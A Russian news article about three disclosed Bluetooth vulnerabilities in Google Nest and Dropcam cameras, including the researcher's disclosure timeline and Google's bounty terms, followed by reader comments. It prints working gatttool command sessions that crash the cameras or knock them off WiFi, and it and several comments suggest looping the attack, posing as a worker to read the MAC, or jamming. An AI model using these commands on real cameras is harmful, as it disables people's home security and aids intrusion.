Искусственный интеллект для обнаружения людей Google AI камеры наружного видеонаблюдения Nest Outdoor Cam не спасает от лёгкого взлома

Самая высокотехнологическая защита — не всегда самая лучшая. Добавляя сложности в систему, вы добавляете новые векторы атак. Бывает, что угонщикам легче угнать самые дорогие и современные автомобили с радиоключами, чем старые кондовые «железяки». Примерно то же самое с безопасностью в других сферах.

Очередной жертвой взломщиков стали навороченные камеры наблюдения Google Nest — модели Dropcam, Dropcam Pro, Nest Cam Outdoor и Nest Cam. Код для их взлома уже опубликован на GitHub, а патчи компания Google пока не выпустила. Можете попрактиковаться в отключении камер наблюдения прямо сегодня (своих, конечно же).

Опубликована информация о трёх уязвимостях, все они предусматривают подключение к камере по Bluetooth 4.0 LE (по спецификациям, радиус действия около 100 м). В этих камерах Bluetooth всегда работает, то есть его вообще невозможно отключить даже владельцу.

Первая уязвимость — переполнение буфера с помощью параметра SSID по Bluetooth. Чтобы вызвать переполнение буфера, нужно попытаться установить на камеру новый параметр SSID с некорректными характеристиками.

Вот пример подключения к камере и установки SSID длиной 1 и 16 байт одновременно.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.


В результате камера выключится, перезагрузится после ошибки и вернётся в нормальное рабочее состояние.

Вторая уязвимость похожа на первую, только здесь переполнение буфера вызывается отправкой пароля неправильной длины (в данном случае три байта и один байт). Результат такой же — камера перезагружается после ошибки с возвращением в рабочее состояние.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.


Третья уязвимость интереснее. Она позволяет временно отключить камеру от WiFi-сети, передав ей новый SSID для соединения. В этих камерах локальная видеозапись недоступна, так что камера всё передаёт по WiFi — весь архив хранится в облачном сервисе. Соответственно, на время отключения от сети видеосъёмка сохраняться не будет. Чтобы вернуться в строй после такого хака и возобновить видеозапись камере требуется примерно 60-90 секунд. В принципе, это не такой уж большой интервал, но ведь хак можно зациклить на необходимый промежуток времени.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>


Обратим внимание, что во всех примерах для подключения к камере нужно знать её MAC-адрес (18:B4:30:5D:00:B8). Он просто написан на корпусе камеры, так что на практике для взлома придётся сначала приблизиться к камере на достаточно близкое расстояние. Например, под видом газонокосильщика, мастера ремонтных работ или друга будущей жертвы.


На одной из фотографий Nest Outdoor Cam видно, что MAC-адрес написан на корпусе камеры (строчка над QR-кодом). Разработчики предусмотрительно спрятали его за кабелем питания

Три уязвимости в камерах присутствуют в последней прошивке камер (5.2.1). Специалист по безопасности Джейсон Дойл (Jason Doyle) нашёл их ещё прошлой осенью. Он говорит, что сообщил в Google 26 октября 2016 года, так что теперь вроде как пришёл срок раскрытия для всех желающих. Это стандартная практика, если производитель не торопится или не успевает исправить баги в разумный срок. В данном случае прошло почти пять месяцев.

Google обычно выплачивает исследователям вознаграждения за нахождение уязвимостей в своих продуктах. На видеокамеры Nest программа Google Vulnerability Reward тоже распространяется. Правда, Nest входит в третью самую непрестижную категорию, где максимальная награда составляет всего $5000 (для остальных продуктов — $31 337). К тому же, в этой третьей категории стоит специальная пометка о шестимесячном периоде тишины. Хотя сама Google недавно раскрыла активно эксплуатируемые 0day в Windows и Edge через 90 дней (1, 2).

Джейсон Дойл не выдержал шестимесячный период (26 октября ? 17 марта), так что на награду претендовать уже не сможет. В отличие от обычной практики, Google не уведомила исследователя о примерных сроках закрытия уязвимости и не поддерживала с ним переписку. В то же время знакомый с ситуацией источник сообщил The Register, что патч уже почти готов, так что Джейсон недотерпел до своей награды совсем немного.

Кстати, некоторые другие аналогичные видеокамеры наблюдения отключают Bluetooth, когда установлено соединение по WiFi, так что их таким образом взломать не получится (например, Logitech Circle). Компания Google тоже могла бы пойти на эту простую уловку, чтобы избавиться от уязвимостей такого типа.
Поделиться с друзьями
-->

Комментарии (21)


  1. Giriia
    23.03.2017 01:12
    +2

    Возможно, я недостаточно гик. Но зачем камере видеонаблюдения вай фай и блютуз? Понятно, что всё становится лучше с блютуз, но ведь это безопасность и охрана как никак!

    Кстати сам хак хоть и вполне серьёзный, но им не особо то и воспользуешься как мне кажется. Ибо нужен доступ к камере.


    1. Gendalph
      23.03.2017 01:38
      +1

      Wi-Fi для передачи данных с камеры в облако.
      BT для первоначальной настройки камеры.
      Но всё равно — провода — наше всё.


      1. Giriia
        23.03.2017 01:53
        +4

        Хм…
        Передавать запись с камеры видеонаблюдения в неподконтрольное юзеру облако, через канал который можно положить вполне доступной глушилкой? Хорошая идея! Что может пойти не так?


        1. alexkunin
          23.03.2017 06:50

          Ну, в защиту этих камер, отсутствие сигнала с одной из них(тем более — со всех) — это уже серьезный повод выдать тревогу.


          1. seminole
            23.03.2017 07:48
            +1

            ну получил я тревогу, что дальше делать? сразу вызывать полицию или просто тревожно тревожится?
            камеры на вайфае, тем более с блютузом это как замок с ключом под ковриком.


            1. alexkunin
              23.03.2017 08:03
              +1

              Получили тревогу — значит, либо ваша система безопасности неисправна, либо наличествует факт вторжения. В любом случае нужно предпринимать какие-то действия, немедленно. А уж рискнуть нарваться на ложный вызов или самому разбираться — ваш выбор, зависит, видимо, от охраняемых объектов/людей.

              В любом случае, если одна камера отвалилась и ничего больше не происходит — может и поломка-помеха. Если хоть еще один датчик выдал странный сигнал, то вероятность именно вторжения практически 100%. Система, позиционирующая себя как умный дом, обязана быть натаскана на такие дела.


            1. Pakos
              23.03.2017 10:29
              +1

              Постучать по монитору, конечно, а потом успокоиться «опять эта камера», ведь всем известно что в этот момент через забор лезет Главный Герой или Главный Злодей. Муляжи камер, теперь и с BT.


            1. d-stream
              23.03.2017 11:30

              Просто концептуально «камеры» и «охрана» — это не совсем совместимое. Хотя уже давно даже в гостах фигурирует СОТ (системы охранного телевидения), но в то же время камеры/СОТ — это лишь составной вспомогательный компонент комплекса охраны. Типа того, что по сработке более других датчиков нарушения периметра, глядя в монитор сделать вывод сколько отрядов охраны направлять на прорыв…

              Ну и в каких-то случаях — этакое документирование «откуда подкрались», «что несли» + частое «где сейчас завхоз бегает»…


          1. CyberCore
            23.03.2017 09:18
            +2

            Будем глушить камеру в течение месяца, пока владельцу не надоест каждый раз тревожиться.


            1. alexkunin
              23.03.2017 10:09

              Ну так это ж нормальная тактика обезвреживания сигнализации: много ложных срабатываний, которые ведут к решению об отключении.


              1. hdfan2
                23.03.2017 10:31

                Забавно: только вчера смотрел старый, но совершенно прекрасный фильм «Как украсть миллион» ровно о том же.


    1. saboteur_kiev
      23.03.2017 15:01

      >но им не особо то и воспользуешься как мне кажется.
      Стоишь за углом, подключаешься по bluetooth, кидаешь длинный пароль — и пока камера перегружается, спокойно проходишь охраняемый периметр.


  1. Wolframium13
    23.03.2017 09:15
    +2

    Теперь камеры можно отключать на минуту чтоб проскочить как в стелс-играх.


  1. semen-pro
    23.03.2017 09:25

    А разве MAC нельзя перехватить сканером?


    1. dmitryrf
      23.03.2017 11:22

      Аналогичный вопрос возник. Камера же постоянно передаёт. Разве что в забитом эфире может быть трудно выловить нужный MAC.


      1. dimm_ddr
        23.03.2017 13:02
        +1

        Достаточно чтобы нужный мак там вообще был. Какая разница ушел ли пакет куда то еще, если он ушел куда нужно тоже. Ну разве что владелец ханипот поставит и по известным уязвимостям тревогу поднимать будет.


      1. Alexeyslav
        23.03.2017 17:00
        +1

        Чтобы перехватить MAC надо для начала войти в сеть… пароль? нет, не знаем… а если в сети включена опция client isolation — ты не увидишь чужого трафика кроме своего.
        А если у вас получится подконнектится к сети WiFi-камер, то есть много способов вывести их из строя не прибегая к таким уязвимостям — вызвать DDOS хранилища, например…
        Проще уж задавить всю сеть глушилкой.


        1. dmitryrf
          23.03.2017 17:14

          Зачем входить? Эфир общий, сиди и слушай. Вы сейчас говорите про L2, а радио — это L1, оно общедоступно.


          1. Alexeyslav
            24.03.2017 10:52

            Так ведь MAC-уровень это и есть L2. Только не могу найти информации на каком уровне происходит шифрование сети? L2 или уже на L3… неужели шифрование закрывает только уровни от L3 и выше?


  1. nikon2000
    24.03.2017 09:39

    На МИПСе демонстрировали интересную Wi-Fi видеокамеру что-то типа этой, одной можно осмотреть все пространство вокруг. ПО это камеры позволяет сделать из нее скоростноой купол, либо 4-е видеокамеры, наблюдающие разные стороны помещения. Программку удаленного просмотра V380 можно скачать на App Store или Google Play, кстати вверху слева есть деморолики возможности этой программы. Встроен неплохой микрофон и динамик, поддержка карты SD. Все что необходимо.


  1. SotaSill74
    24.03.2017 09:39

    Как-то все выдают единичные реплики, где-то близкие и где-то далёкие от действительности. По самой статье и по комментем – могу сказать одно – тут НЕ подойдёт какой-то один способ – нужен комплекс мер.
    Что мы имеем в общих чертах по камерам?

    Пропадёт сигнал (если настроен на срабатывание) – тревога,
    отвалится картинка (если настроена на срабатывание) – тревога,
    спалим и/или забьём снимающую оптику лазером в разных диапазонах – хз- нужно тестировать саму камеру, как она себя поведёт – но тоже возможна тревога,
    изменится id камеры (если есть и настроен) – тоже нужно тестировать такую же камеру вручную,
    используется ли камерой логин/пароль для доступа на сервер (если есть) – тоже нужно тестировать такую же камеру вручную, и если да – смотреть куда она ходит для выгрузки трафика – если локально – ещё можно попробовать ломануть сервак, если в облако – разве что ломать админа (или его комп), управляющим этими камерами и их доступом в облако (и то, смотря что там за админ и что он там себе из защиты «наподнимал»)
    шифрует ли (не путайте с понятием кодирует!) камера сам трафик? – узнать тип и ключ шифрования.

    Камера wifi – да,
    у wifi радиоканал общедоступный? – да (ARP запрос с МАС-ом – наш!)
    взломать ключ wifi – ну в принципе возможно (зависит от стойкости и длинны пароля и типа шифрования)
    просниферить ключ шифрования – нереально – ключи не передаются, см. пункт «разве что ломать админа».
    Этот список можно продолжать и продолжать.

    НО!, В общем и целом – если вы каким-то образом попались на админа/интегратора – ламера, проигнорившего часть вышеуказанных пунктов безопасности – то вполне возможно, имея свою идентичную камеру, вбить в неё все основные настройки реальной камеры, включая МАС, WiFi (если SSID скрыт), пароль на WiFi, ключи шифрования, логин, пароль, адрес сервера/облака, ТО ТОЛЬКО ТОГДА! – вы можете ПОПРОБОВАТЬ заглушить текущую реальную камеру ну или как в статье вызвать её перезагрузку по БлюТуз (И ТО !, если если в ней БТ не выключен аппаратно или программно), ну как вариант насыпать направленных помех на текущую камеру и попробовать запустить и подключить вместо реальной камеры, СВОЮ псевдо-камеру, в которой, например будет транслироваться зацикленная картинка.

    п.с. Сорри за многабукав, но по теме – это даже очень мало и даже как-то сильно сухо и сжато.